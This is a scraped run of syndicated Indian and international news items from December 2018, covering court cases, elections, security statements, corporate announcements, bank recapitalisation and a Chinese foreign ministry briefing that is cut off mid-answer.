S Muralidhar and Vinod Goel asked the 73-year-old former Member of Parliament (MP) to surrender before December 31. The Court also directed him to not leave and levied a fine of Rs 5 lakh on him. According to official records, about 2,800 Sikhs were killed across India, including 2,100 in Delhi, during the clashes, which broke out after was assassinated by two of her Sikh bodyguards. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Union Home Minister Rajnath Singh said that the internal security situation has vastly improved in the country and the incidences of violence have come down, particularly in the Northeast and the Left Wing Extremism (LWE) affected states in the recent years. Addressing the inaugural session of the Conference of Director Generals and Inspector Generals of Police here on Thursday, Singh said, "Security scenario in the North-East region has witnessed steady improvement in recent years. The incidents of violence have come down and the situation has further improved in 2018. There is a 17 percent decline in total incidents and 38 percent reduction in the casualties of civilians." He also noted with satisfaction the improving security scenario in the North-East, particularly the peaceful rollout of Register of Citizens (NRC) in Assam including publication of the final draft NRC list on July 30, 2018. Stating that a number of militant groups are operating from the territories of neighboring countries, particularly Myanmar, the Home Minister said that India's security concerns have been conveyed to Myanmar, adding that efforts are on to harness the trade potential with the Eastern neighbour and beyond. "A number of militant groups are operating from the territories of neighboring countries, particularly Myanmar. Our concerns have been highlighted in the bilateral meetings with these countries. In order to plug the gaps on the Indo-Myanmar border, an Inter-Ministerial Committee headed by the Ministry of Home Affairs has formulated a revised protocol for effective implementation of Free Movement Regime," he said. Singh also said that Armed Forces Special Power Act (AFSPA) was selectively relaxed in Arunachal Pradesh, Meghalaya, inviting a positive public response. "India is a member of Financial Action Task Force (FATF), an inter-governmental body, which makes recommendations relating to combating of financing of terrorism, money laundering, etc and efforts on this platform by India have ensured that Pakistan is rightly put on the grey list," he noted. "It is a matter of great satisfaction that Left Wing Extremism situation in the country continues to improve. My congratulations and best wishes to the Intelligence agencies, Security Forces and State Police involved in fighting Naxalism," Singh added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sri Lanka is slowly moving out of the political crisis that engulfed the south-Asian island nation, as the new cabinet was sworn-in here on Thursday. The 28 cabinet ministers of Sri Lanka's United National Front (UNF) government led by newly-elected Prime Minister Ranil Wickremesinghe were sworn-in before Sri Lankan President Maithripala Sirisena at the Presidential Secretariat, reported the Colombo Page. The number of cabinet ministers in the UNF-led government will be limited to as many as 30 portfolios. The Defense and Mahaweli Development and Environment Ministry portfolios are held by the President of the south-Asian island nation, in accordance to the constitution. Wickremesinghe, who was ousted by Sirisena was reinstated as the Prime Minister earlier this week. The disputed Prime Minister Mahinda Rajapaksa resigned from the office after two No-confidence motions were tabled and passed in the Parliament. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Delhi Court on Thursday adjourned hearing in the Sunanda Pushkar death case till December 24. On December 10, the Court deferred the order on two applications of BJP leader Subramanian Swamy seeking direction to the Delhi Police to produce a report of a vigilance inquiry conducted after Pushkar's death and also to assist the prosecution in the case. The Court's order came after Congress leader and Pushkar's husband Shashi Tharoor's counsel Vikas Pahwa and the public prosecutor opposed Swamy's application. Pahwa had challenged the locus standi of Swamy saying that he is a stranger to the proceedings and cannot be permitted to participate in the criminal trial in any manner. The public prosecutor also vehemently objected to the application asserting that the Delhi Police does not want any assistance from Swamy. Sunanda Pushkar was found dead under mysterious circumstances in a suite of a Delhi hotel on the night of January 17, 2014. The couple was staying in the hotel as their house was undergoing renovation. Tharoor was summoned by the Court in June this year, observing there was sufficient ground to proceed against him. The Congress leader was charged under Sections 306 (abetment of suicide) and 498A (husband or his relative subjecting a woman to cruelty) of the Indian Penal Code (IPC). He, however, dismissed the charge sheet terming it "preposterous". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) TCL's first industry park in India at Tirupati will generate around 8,000 jobs for locals. "It will be a major landmark in the country," said Andhra Pradesh Chief Minister N Chandrababu Naidu after laying the upcoming project's foundation stone. The world's third largest TV panel manufacturing Chinese firm TCL is coming up with its first unit in India at Tirupati, which will be spread in an area of 153 acres of land with an investment of Rs 2,200 crore. The project is likely to provide around 8000 jobs to locals. Chandra Babu Naidu said this region where TCL was coming up along with several other electronics manufacturing companies will be named as 'Silicon City.' "It will become a major landmark in the country," the Chief Minister said. Andhra Pradesh's Information Technology (IT) Minister Nara Lokesh thanked TCL for placing their trust in his state and the leadership of Chief Minister N Chandrababu Naidu. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Andhra Pradesh Chief Minister N Chandrababu Naidu has assured that his government will give the status of Scheduled Castes to converted Christians. While making the promise, the Chief Minister urged the Christian community to stand with the TDP in the forthcoming elections. Naidu, who participated in Christmas celebrations organised by the state government, said, "Christmas is the day when all people share love and peace. Christian missionaries served great for education and health. We saw Mother Teresa, how she served society. Our government has spent Rs 250 crores for Christians in these four years. We will fight for giving the SC status to converted Christians and till then we will support you. I assure you to develop Guntur general hospital with six acres of additional land." Talking about the development works, the Chief Minister said that the Andhra Pradesh government will provide full economic support for the construction of churches in the state. "For Christian Bhavan, we gave two acres land and Rs 10 crores. Now, we are allotting additional six crores as per your appeals. We will provide full economic support for the construction of churches even without contribution. We will give 24 December as an optional holiday. We will spend Rs 100 crores to develop burial grounds for Christians," he added. Concluding his speech, Naidu stated that the TDP government respects all the religions and always work for the needy people. "Our government respects all religions and work for the poor. Despite Centre's non-cooperation, we are providing many welfare schemes. For Christian girls' marriage, we are giving Rs 50,000. I assure you we will support all the poor people," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Rashtriya Lok Samata Party (RLSP) chief Upendra Kushwaha who recently parted ways with the BJP-led NDA joined the Mahagathbandhan or grand alliance in Bihar on Thursday, joining hands with the Congress, Rashtriya Janata Dal and Hindustan Awam Morcha. The announcement was made during a meeting at AICC office in Delhi where senior Congress leader Ahmed Patel, Rashtriya Janta Dal leader Tejashwi Yadav, Hindustani Awam Morcha leader Jitan Ram Manjhi, Loktantrik Janata Dal leader Sharad Yadav were present. Kushwaha, who quit the NDA on December 10 over seat allocation for 2019 general elections, said, "We had said that we have many options and United Progressive Alliance (UPA) was one of them. The wholeheartedness shown by Rahul Gandhi and Lalu Prasad is one of the reasons I joined but the biggest reason." The RLSP chief further said that he was being insulted in NDA government. Stepping up his attack on Prime Minister Narendra Modi, Kushwaha said, "Narendra Modi while campaigning for Lok-Sabha elections 2014 promised that people of Bihar would not have to migrate for employment, education etc but youngsters are still migrating in large numbers, neither education is there nor the health facilities." He asserted that the Mahagathbandhan is an alliance to save the institutions of the country like Central Bureau of Investigation, Enforcement Directorate or Reserve Bank of India. Meanwhile, RJD leader Tejashwi accused the NDA government of adopting a dictatorial attitude towards its allies. "The fight is against those who have only betrayed the people of this country, mislead them and have benefited only a few people," Tejashwi said. Congress leader Ahmed Patel welcomed Kushwaha in UPA and said, "There is a gathbandhan in Bihar, it's a matter of happiness that Upendra Kushwaha is joining the mahagathbandhan. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Rashtriya Lok Samata Party (RLSP) Chief Upendra Kushwaha is likely to make announcement of him joining the Mahagathbandhan (grand alliance) today, said sources. The political parties part of the grand alliance are expected to unveil their future plans at a press conference in the capital. In the same presser Kushwaha would formally join the grand alliance. Rashtriya Janata Dal (RJD) leader Tejashwi Yadav, Hindustani Awam Morcha (Secular) founder Jitan Ram Manjhi and All India Congress Committee (AICC) in-charge for Bihar Shaktisinh Gohil will jointly conduct the press conference. RLSP chief, Kushwaha recently severed ties with the NDA on December 10. RLSP, a Bihar-based party has three seats in the Lok Sabha. Kushwaha in an exclusive conversation with ANI had asserted that the BJP's "arrogance" and Bihar Chief Minister Nitish Kumar were the reasons behind him quitting the NDA. On December 19, the RLSP chief dropped the hint that he may join hands with the 'grand alliance' or ally with a third front. In the run-up to 2019 Lok Sabha elections, the show of unity to orchestrate Mahagathbandhan is underway. The main aim of the grand-alliance is to defeat the BJP in upcoming Lok Sabha elections. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) [December 20, 2018] TUV SUD America Appoints New Vice President of Marketing TUV SUD America Inc., a premium quality, safety, and sustainability solutions provider that specializes in testing, inspection, auditing, certification, training, and knowledge services, announces the appointment of Jasmine Martirossian to the role of Vice President of Marketing for the Americas, including TUV SUD America, TUV SUD Canada, TUV SUD America de Mexico, and TUV SUD America do Brasil. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20181220005173/en/ TUV SUD America Appoints New Vice President of Marketing (Photo: Business Wire) Jasmine Martirossian has held numerous senior marketing roles and has experience with marketing strategy, digital marketing, content development and brand strategy. Most notably, she served as the Vice President of Marketing for TTA (News - Alert) (The Training Associates), where she created a holistic marketing ecosystem and had tremendous success increasing online engagement and lead generation. Earlier in her career, she spent time at PTC, Intertek (News - Alert) , and the Canadian Standards Association Group with roles in market research, digital and content marketing, and global website management. Jasmine Martirossian is a widely published author and a frequent keynote or featured speaker at conferences. Her work has been covered in publications, such as The New York Times, Chicago Tribune, and The Toronto Star. Jasmine holds a Ph.D. in Law, Policy and Society and an M.A. in International Relations, both from Northeastern University (News - Alert) . She also attended Wellesley College and Yerevan State University earning a BA in Linguistics. Jasmine lives in Boston with her family, and will be based out of TUV SUD America's Americas headquarters in Peabody, MA. "We are excited to welcome Jasmine Martirossian as TUV SUD America's new Vice President of Marketing," commented John Tesoro President and CEO, TUV SUD America. "Jasmine's background in developing and executing marketing strategies combined with experience in the TIC market, will be an invaluable asset to ensure we keep TUV SUD America on its continued course of development and growth, and most importantly to be the solutions provider of choice for our clients." "We are delighted to welcome Jasmine. Her vast experience in various Marketing roles will support our endeavor to achieve customer excellence and foster closer client partnerships through marketing initiatives in the Americas," added Liz Fendt, Vice President, Global Marketing, TUV SUD. "I am so excited to join TUV SUD, a venerable organization with 150+ years of history and with modern vibrancy. It's an honor to be part of telling TUV SUD's story. Today, all marketing is digital, all marketing is about storytelling, and all marketing is about engaging people," said Jasmine Martirossian. Connect with Jasmine Martirossian on LinkedIn (News - Alert) @ https://www.linkedin.com/in/jasmine-martirossian For more information on TUV SUD services in the Americas, visit www.tuv-sud-america.com. About TUV SUD TUV SUD is a premium quality, safety, and sustainability solutions provider that specializes in testing, inspection, auditing, certification, training, and knowledge services. Since 1866, the company has remained committed to its founding principle of protecting people, property and the environment from technology-related risks. Headquartered in Munich, Germany, TUV SUD is represented in more than 1,000 locations worldwide. TUV SUD operates globally with a team of more than 24,000 multi-disciplinary experts recognized as specialists in their respective fields. By combining impartial expertise with invaluable insights, the company adds tangible value to businesses, consumers and the environment. The aim of TUV SUD is to support customers with a comprehensive suite of services worldwide to increase efficiency, reduce costs and manage risk. www.tuv-sud.com About TUV SUD America TUV SUD America Inc., a subsidiary of TUV SUD AG, Munich, Germany, is a leading globally recognized testing and certification organization. TUV SUD's Business Assurance Division provides management system certification services to ISO 9001, ISO 14001, AS9100, ISO 13485, Safe Quality Food (SQF), and more. TUV SUD's Product Service Division offers Electrical and Mechanical Product Safety, Electromagnetic Compatibility ( EMC (News - Alert) ) testing, Environmental Testing, NRTL and SCC certification, CE Marking assistance, Restricted Substance Services, International Compliance Services, and more. TUV SUD America also provides a diverse suite of services as a European Union Notified Body for the In Vitro Diagnostic, Medical Device, and Active Implantable Medical Device Directives, along with CMDCAS services, FDA 510(k), and third-party inspections. The company's Industry Division offers a full suite of services for pressure equipment manufacturers and materials producers exporting products to the European Community. For more information visit, www.tuv-sud-america.com View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005173/en/ [ Back To SIP Trunking Home's Homepage ] United States of America has accused China of enabling cyber theft and hacking of multiple the US and global managed service and cloud providers. In a joint statement issued by Secretary of State Michael R Pompeo and Secretary of Homeland Security Kirstjen Nielsen on Thursday (local time), the US has stated that since 2014, Chinese cyber actors have been compromising global managed service providers. "These Chinese actors used this access to compromise the networks of the providers' clients, including global companies located in at least 12 countries," the statement read. They further raised concerns about the violation of the 2015 US-China cyber commitments made by Chinese President Xi Jinping to refrain from conducting or knowingly supporting "cyber-enabled theft of intellectual property, including trade secrets or other confidential business information, with the intent of providing competitive advantages to companies or commercial sectors." "China has also made this commitment with G20 and APEC members as well as in other bilateral statements," the statement asserted. The statement further reiterated that the stability in cyberspace cannot be achieved if countries engage in irresponsible behaviour that undermines the national security and economic prosperity of other countries. "These actions by Chinese actors to target intellectual property and sensitive business information present a very real threat to the economic competitiveness of companies in the United States and around the globe," the statement read. The US also warned the hackers will be held accountable for the malicious behaviour and stated that Washington has taken actions to demonstrate the resolve. "We strongly urge China to abide by its commitment to act responsibly in cyberspace and reiterate that the United States will take appropriate measures to defend our interests," read the statement. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The United States has sentenced Canadian citizen Abdulrahman El Bahnasawy to 40 years in prison for plotting terrorist attacks in New York City in support of the Islamic State terror group, the US Department of Justice has said. "Abdulrahman El Bahnasawy, 20, of Mississauga, Canada, was sentenced to 40 years in prison, and a lifetime of supervised release, for plotting to carry out terrorist attacks in New York City during the summer of 2016 in support of the Islamic State of Iraq and al-Sham (ISIS), a designated foreign terrorist organization," the release said on Wednesday. The Justice Department explained that El Bahnasawy cooperated with US citizen Talha Haroon, who currently resides in Pakistan, and Philippine citizen Russell Salic in plotting the terrorist attacks. The three men used encrypted messages to conduct bombings and shootings in heavily populated areas of New York City during the Islamic holy month of Ramadan in 2016, the Justice Department said. El Bahnasawy and Haroon prepared to conduct terrorist attacks, while their conspirator from the Philippines was responsible for financing the terror operations, the Justice Department added. El Bahnasawy pleaded guilty on October 13, 2016 to a seven-count indictment that charged him with terrorism offenses, according to the statement. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The USA has extended support to the tune of USD 10 million to the Maldives to assist the new Ibrahim Solih-led government in various areas including maritime security. David Ranz, the Deputy Assistant Secretary (DAS) of the US Department of State recently visited the nation with an inter-agency delegation, during which he held productive meetings with officials from several Maldivian ministries to discuss their objectives and the challenges they face as they chart a new path for the island country. "The United States is looking into providing assistance in the areas of debt analysis and sustainability, justice-sector capacity building, civil society support, and environmental aid-all areas the Maldivian government has identified as priorities in its 100-day plan," Ranz said after returning from his trip. "The United States has also offered security assistance given Maldives' strategic location on key sea lanes. There has been a commitment of USD 10 million to the Maldives - USD 7 million in foreign military financing to support Maldives' maritime security and patrol its territorial waters, and USD 3 million to support its civil society and help protect its environment," the DAS outlined. Furthermore, he underscored that the USA believes that its support will help strengthen democracy, improve governance, root out corruption, enhance security, and promote economic development in the Maldives, which are priorities that the US is emphasizing across the region as part of their vision for the Indo-Pacific. Lastly, the Deputy Assistant Secretary reinforced the Trump administration's effort to advance freedom and openness with the region - spanning from the west coast of India to the west coast of the United States - through the three pillars of this strategy which are the economic pillar, the security pillar and the governance pillar. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The USA welcomed "reinvigorating" ties between India and the Maldives, underscoring the convergence of India's and the USA's views on the Maldives' "critical role in the security of the Indo-Pacific". David Ranz, the Deputy Assistant Secretary (DAS) of the US Department of State made the statement after returning from the Maldives. He said, "Maldives occupies a very important geostrategic position in the Indo-Pacific given the volume of trade that transits through the sea lanes it sits astride. With its recent return to a democratic path, we see the Maldives as a country that can tap the initiatives we are rolling out across the Indo-Pacific and become a valuable partner in realizing a secure, strong, and prosperous Indo-Pacific region." He further remarked, "We...note the many positive announcements that came out of Prime Minister Solih's recent visit to India. India shares our view of Maldives' critical role in the security of the Indo-Pacific and the importance of offering support during this transition period." The election of Maldivian President Ibrahim Solih and subsequent peaceful transition of power was a major democratic moment and one that the United States views as profoundly significant for the broader region. The purpose of the visit was to examine ways to expand US partnership with the Maldives in pursuit of a free and open Indo-Pacific, including how the United States can be supportive during Maldives critical transition period. Earlier, the Principal Deputy Assistant Secretary for South and Central Asian Affairs, Alice Wells had visited Male as the first high-level visitor to the Maldives from the Trump administration and met with then President-elect Solih. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Alembic Pharmaceuticals announced that the United States Food and Drug Administration (USFDA) has conducted an inspection at the company's API facility located at Panelav from 17 December 2018 to 19 December 2018. This was a scheduled inspection and at the end of the inspection, there were zero 483s. The announcement was made after market hours yesterday, 19 December 2018. Reliance Industries (RIL) will be watched. With reference to news item quoting, "DoT rejects RCom-Jio spectrum trading deal", RIL clarified after market hours yesterday, 19 December 2018, that the article pertains to the application for trading of spectrum in the 800MHz band filed by Reliance Jio lnfocomm, a subsidiary of the company, and Reliance Communications and Reliance Telecom. A correspondence was received from DoT with respect to the application and RIL is seeking appropriate clarifications in this regard. Pfizer announced that its parent company, Pfizer Inc., USA, and GlaxoSmithKline plc have entered into an agreement to create a premier global consumer healthcare company. The announcement was made after market hours yesterday, 19 December 2018. The joint venture will be a category leader in pain relief, respiratory, vitamin and mineral supplements, digestive health, skin health and therapeutic oral health and will be the largest global consumer healthcare business. In addition, the joint venture is expected to be the first or second largest consumer healthcare player in key geographies, including the United States, Europe, China, India and Australasia. The joint venture will operate globally under the GSK Consumer Healthcare name. The boards of directors of both companies have unanimously approved the transaction under which Pfizer will contribute its consumer healthcare business to GlaxoSmithKline's existing consumer healthcare business. The 2017 global sales for the combined business were approximately $12.7 billion. Under the terms of the transaction, Pfizer will receive a 32% equity stake in the joint venture, entitling Pfizer to its pro rata share of the joint venture's earnings and dividends, which will be paid on a quarterly basis. Pfizer will have the right to appoint three out of the nine members of the joint venture's board. The transaction is expected to deliver $650 million in peak cost synergies and to be slightly accretive for Pfizer in each of the first three years after the close of the transaction, which is anticipated during the second half of 2019, subject to receipt of GSK shareholder approval and regulatory approvals, and satisfaction of other customary closing conditions. Wockhardt announced that a meeting of the designated board committee will be held on 22 December 2018 to consider and approve raising of funds by allotment of 4% non-convertible non-cumulative redeemable preference shares (NCCRPS). The announcement was made after market hours yesterday, 19 December 2018. Om Metals Infraprojects said it has got a letter of acceptance for the work of planning, design, drawings and construction of Isarda Dam across Banas River in village- Banetha, district Tonk, Rajasthan on EPC basis including its operation and maintenance for 5 years. The value of work order is Rs 615.16 crore and has been awarded to the company by Water Resources Department, Government of Rajasthan. The announcement was made before trading hours today, 20 December 2018. Uflex launched three packaging foil solutions for pharma companies. The company unveiled, fast tear strip foil, PET based cold form blister, child resistant & senior friendly foil and branding solutions, for pharmaceutical companies. Uflex executive director Amitava Ray said that the 'fast tear strip' foil will prove to be a game-changer for the pharma industry globally and the company sees a potential growth market of 5000 tonnes annually in India. The announcement was made after market hours yesterday, 19 December 2018. Cosmo Films said it recently launched sterilisable conduction sealing film for wad and lidding applications for PP and PE containers. This film can withstand high temperatures during sterilization process, which is used to increase the shelf-life of the product. The announcement was made after market hours yesterday, 19 December 2018. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Apollo Tyres Ltd is quoting at Rs 242.2, up 1.06% on the day as on 12:49 IST on the NSE. The stock is down 8.74% in last one year as compared to a 4.71% gain in NIFTY and a 19.96% gain in the Nifty Auto index. Apollo Tyres Ltd rose for a third straight session today. The stock is quoting at Rs 242.2, up 1.06% on the day as on 12:49 IST on the NSE. The benchmark NIFTY is down around 0.33% on the day, quoting at 10931.55. The Sensex is at 36368.32, down 0.32%. Apollo Tyres Ltd has added around 7.43% in last one month. Meanwhile, Nifty Auto index of which Apollo Tyres Ltd is a constituent, has added around 4.24% in last one month and is currently quoting at 9507.7, down 0.01% on the day. The volume in the stock stood at 38.8 lakh shares today, compared to the daily average of 32.3 lakh shares in last one month. The benchmark December futures contract for the stock is quoting at Rs 242, up 0.67% on the day. Apollo Tyres Ltd is down 8.74% in last one year as compared to a 4.71% gain in NIFTY and a 19.96% gain in the Nifty Auto index. The PE of the stock is 16.7 based on TTM earnings ending September 18. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Better-performing PCA banks to be provided adequate capital for coming out of PCA Government has moved proposal in Parliament on 20 December 2018 for enhanced bank recapitalisation outlay from Rs 65000 crore to Rs 106000 crore in the current financial year to propel economic growth, cementing India's position as the fastest growing economy of the world. This would enable infusion of over Rs 83000 crore in the coming few months in Public Sector Banks (PSBs). The enhanced provision is aimed at: (1) Meeting regulatory capital norms (2) Providing capital to better-performing PCA Banks to achieve 9% Capital to Risk-weighted Asset Ratio (CRAR); 1.875% Capital Conservation Buffer and the 6% Net NPA threshold, facilitating them to come out of PCA (3) Facilitating non-PCA banks that are in breach of some PCA thresholds to not be in breach (4) Strengthen amalgamating banks by providing regulatory and growth capital Following comprehensive clean-up of the banking system under Government's 4R's approach of Recognition, Resolution, Recapitalisation and Reforms, the envisaged recapitalisation would equip banks financially at levels higher than the global norms. In this connection, it is pertinent that India's capital norms for banks are 1% higher than the norms recommended under the global Basel-III framework. Further, unlike the early intervention regime of other major economies, India's PCA framework for weaker banks has more onerous thresholds, viz., higher capital thresholds and a Net NPA threshold that further embeds capital requirement on account of provisioning of NPAs. Today''s proposal in an expression of Government's commitment that each PSB is an article of faith, and aims at securing compliance even for the higher regulatory norms. The results of Government's comprehensive 4R's approach to strengthen PSBs and foster a culture of clean and responsible banking are now visible: Recognition of restructured standard assets as NPAs was initiated with Asset Quality Review in 2015 and with discontinuation of restructuring schemes this year, the recognition exercise is nearly over with such assets declining from the peak of 7.0% in March 2015 to 0.59% as of September 2018. Resolution process has been strengthened by changing the creditor-debtor relationship through the Insolvency and Bankruptcy Code and debarment of wilful defaulters and connected persons, which has resulted in record recovery this year. Recapitalisation, under which, with today's decision, total mobilisation of capital in PSBs since commencement of clean-up in 2015-16 is slated to be over Rs. 3,00,000 crore. Reforms have accompanied recapitalisation in the form of a comprehensive PSB Reforms Agenda that addresses the root causes of poor asset quality and commits banks to clean lending and rolling out of next-generation banking services by leveraging benefits of technology and formalisation of the economy. Through 4R's, the banking system has registered sharp reduction in stress and loan defaults, record recovery and steady increase in provision coverage, and is poised to further harness the benefit from large-scale resolution anticipated over the current and next financial years. Major impact of the 4R's approach is as under: Gross NPAs of PSBs have started declining after peaking in March 2018, registering a decline of Rs. 23,860 crore in the first half of the current financial year. Non-NPA accounts overdue by 31 to 90 days (Special Mention Accounts 1 & 2) of PSBs have declined by 61% over five successive quarters from Rs. 2.25 lakh crore as of June 2017 to Rs. 0.87 lakh crore as of September 2018, substantially paring down credit at risk. The Provision Coverage Ratio (PCR) of PSBs has risen steeply from 46.04% as of March 2015 to 66.85% as of September 2018, giving banks cushion to absorb losses. Record recovery of Rs. 60,726 crore has been effected by PSBs in the first half of the current financial year, which is more than double the amount recovered over the corresponding period last year. PSBs have de-risked their portfolio as reflected in the Credit Risk-weighted Assets (RWAs) to Gross Advances ratio which has been decreased from 80.26% in Sep-17 to 71.20% in Sep-18. India's global rank on "getting credit" under World Bank's Ease of Doing Business Index has improved from 44 in 2016 to 22 in 2018, manifesting Enhanced Access & Service Excellence (EASE) in banking. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Finance Commission reviews India's Health Sector The Fifteenth Finance Commission (XVFC) led by the Chairman N.K. Singh, on 19 December 2018, held a meeting on with Ministry of Health and Family Welfare including the Union Minster of Health J.P. Nadda, Ministres of State, Health A.K. Choubey and Anupriya Patel. At the meeting the Commission was given a detailed proposal on fund requirement by the Department of Health and Family Welfare (DoH&FW). Some of the major proposal were: * For untied funds: Health Infrastructure status of the States to be used as a criteria- will help States with significant infrastructure deficit and health lag to get more funds. * 10% of fund to be earmarked for the health sector with atleast 2/3rd being reserved for the primary health. * For performance based incentives: composite health index to be utilized to encourage states to demonstrate performance on year on year basis - should have a weightage of 20% in the performance linked pool. The DoH&FW informed the commission that the major targets of the National Health Policy 2017 were: * Increase public health expenditure to 2.5% of GDP, in a progressive manner, by 2025. * Increase State sector health spending to more than 8% of their budget by 2020. * Primary Health Expenditure to be 2/3rd of the total health expenditure. Some of the preliminary issues on the Health Sector under the focus of XVFC are: * Skilled manpower and conditional financial allocation - the two main challenges of the Health Sector today. * The change of disease spectrum from infectious diseases to degenerative diseasesrequiring the need to strengthen the Community Health Centers and District Hospitals in the States. * The health sector as a key driver of the 21st Century economy on account of its employment potential and need to improve the medical education in the country. Need to increase the post graduate doctors in the country. * Need to create 'Cooperative Model' rather than a 'Competitive Model' between Public and Private Hospitals. * Integration of the initiatives taken by the Government like 'Ayushman Bharat' and 'Swachh Bharat Mission'. * Need for a comprehensive ban of private practice by Government Doctors. * Optimum utilization of the funds allocated by the Centre to the States on Public Health. * Need to open more Medical Colleges and Hospitals, for training more manpower which could enable to build the gap between doctor-patient ratios. * Need to think in the lines of the price control mechanism in the pharmacy and drugs market and thereby bring uniformity in the Health Care facility. * Proposal to include officials from National Health Accounts Division in Ministry of Health which is monitoring the funds allocated to the States. Requirement of data on funds allocated to the States and their optimum utilisation and outcomes. During the meeting, the Commission highlighted the need to focus on the following issues: * The way to extract best economic returns from investment already made in health sector. * Need for a robust audit system in each hospital with a database of statistics of all PHC, CHC, District hospitals etc. The technology enables the daily uploading of data of OPDs, active beds/occupancy, blood tests, ultrasounds, MRIs, deliveries, blood collection, dialysis, surgeries, specialists/nurses working, ICU beds, ventilators etc.and should be available in public domain. * Ways to increase capability in terms of manpower to face big change for ambitious programmes like PM-JAY. * Important regulatory legislations for health sector and on which the Ministry should make every effort to secure early Parliament approval. For instance, National Medical Commission, Allied Health Bill deserve priority. * Horizontal distribution, which is subject to growth without condition is state's entitlement to receivebesides state's specific grant could also be considered by Finance Commission. * The options/cost/opportunity of the Ayushman Bharat needs to be fully articulated, particularly in relation to its medium term financial implications for Centre and the States. The estimates, premium of insurance companies have widely varying estimates and need greater consistency/credibility. The Commission would be forwarding their written comments to the Ministry soon and seeking their comments/actions proposed. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Viaan Industries is telecasting India's first-ever match poker league - Match IPL on MTV. This is Match Indian Poker League's third season that is being telecast on the popular youth channel. Match IPL which recently concluded its live-event is now ready to be telecast on national television on the 19 and 20 of December at 9 PM. Day 1 of Match IPL which was aired on 19 December, received a positive response from viewers, Day 2 which is scheduled to air on the 20 December will reveal the winning team of the league. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With the failure of conciliation talks, about 10 lakh bankers in private and government banks will go on strike on December 26 protesting against the merger of Bank of Baroda, Dena Bank and Vijaya Bank, the All India Bank Employees Association (AIBEA) said on Thursday. "During the conciliation meeting held in Delhi today (Thursday), the Additional Chief Labour Commissioner advised the three banks and IBA (Indian Banks Association) to hold negotiations with the unions and convey the Union's concerns to the government," AIBEA General Secretary C.H. Venkatachalam told IANS. "No assurance came from either IBA or the government. Hence the conciliation talks failed and the December 26 strike stands," Venkatachalam added. The AIBEA is part of the nine unions in the banking sector under the umbrella body of United Forum of Bank Unions (UFBU). According to Venkatachalam, the strike was only against the bank mergers and there was no deadlock on the wage revision talks with IBA. India is largely unbanked or underbanked with low density of banks. Mergers will kill bank branches while the focus should be on recovering the huge outstanding loans, the AIBEA said. With Christmas on December 25, banks would effectively be closed for two days, affecting the banking public. Though the bankers had wanted the strike on December 24, a Monday, for a bigger impact as the banks would then be closed for four consecutive days (December 22-25), the unions decided to strike on December 26 to lessen the impact on public. --IANS vj/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Foreign Ministry Spokesperson Hua Chunying's Regular Press Conference on December 20, 2018 2018/12/21 Q: On December 19, the German cabinet approved an amendment to its administrative regulations, lowering the threshold where national security reviews could apply to non-EU share purchases to 10 percent in the defense, high-tech and infrastructure sectors. What is your comment? A: The Chinese side has taken note of relevant reports. We will be closely following the changes in Germany's foreign investment review regulations and their impacts. China believes that it is understandable to have certain necessary security reviews in the investment field. But security reviews shall not be used as a tool to advance protectionism and erect new invisible barriers. It is even less acceptable to take discriminatory actions that are clearly targeting others. We also noted that some in the economic community in Germany have already made their concerns heard over the tightening of foreign investment review regulations, believing that it could hurt Germany's image as an investment destination and open market. In face of the complex situation of rising protectionism and unilateralism, especially when the world economy is facing greater factors for uncertainty and instability, China and Germany, as the world's major economies, have a shared responsibility to maintain free trade and multilateralism. Our two countries should work together to expand two-way openness to inject positive energy to the high-level mutually beneficial cooperation and maintain an open world economy, and avoid sending negative signals that could affect investment environment and market confidence. Q: The United States has announced a full withdrawal of US troops from Syria. I wonder if China has any comment on this? A: Over a recent period of time, thanks to the concerted efforts of the international community, the terrorist and extremist groups in Syria have been dealt a heavy blow. The Syrian issue is now in a new critical stage with a rising momentum for political settlement. China always believes that Syria's sovereignty, independence and territorial integrity should be respected and the future of Syria should be independently decided by its people. Under the current circumstances, we hope that the relevant parities can join hands to create conditions to start the inclusive "Syrian-led and Syrian-owned" political process as soon as possible and promote the proper settlement of the Syrian issue at an early date. This serves the common interests of the international community. Q: The New York Times reported that a special economic zone under the China-Pakistan Economic Corridor is being proposed by Pakistan. Can you confirm this? If so, can you share more details about this new special economic zone? A: I'm not aware of the situation you mentioned, and I need to check on that. Q: Can you confirm the reports that a Canadian English teacher named Sarah Mciver has been recently detained in China? What is the reason for the detention? Where is she being held? A: Some of you raised questions on the detention of one more Canadian national at yesterday's press conference. After that, we tried to learn about the case. Indeed, recently, a local Chinese public security authority imposed administrative penalty on a Canadian national for illegal employment. I would refer you to the relevant public security authority for specifics. What I can tell you is that China and Canada maintain unimpeded consular communication and that the Chinese side will provide necessary assistance for the Canadian side to fulfill normal consular duties. Q: The Washington Post reported that China is reviving its reeducation-through-labor camps now in Xinjiang in the form of "reeducation camps". This has become one of the world's most urgent "human rights crises", and China must hear loud and clear that the world will not stand by. What is your comment on that? A: I noticed that yesterday, the New York Times and the Wall Street Journal made a report on this respectively. The latest piece I saw is the one made by the Washington Post as you just described. The relevant reports represent a grave distortion of and a vicious attack at the facts and showcase no trace of the professional ethics of the press. No wonder that the US leader has been critical of some US media. First, I want to say that the reeducation-through-labor system has been abolished in China. The vocational education and training programs in Xinjiang cannot be further different from the so-called 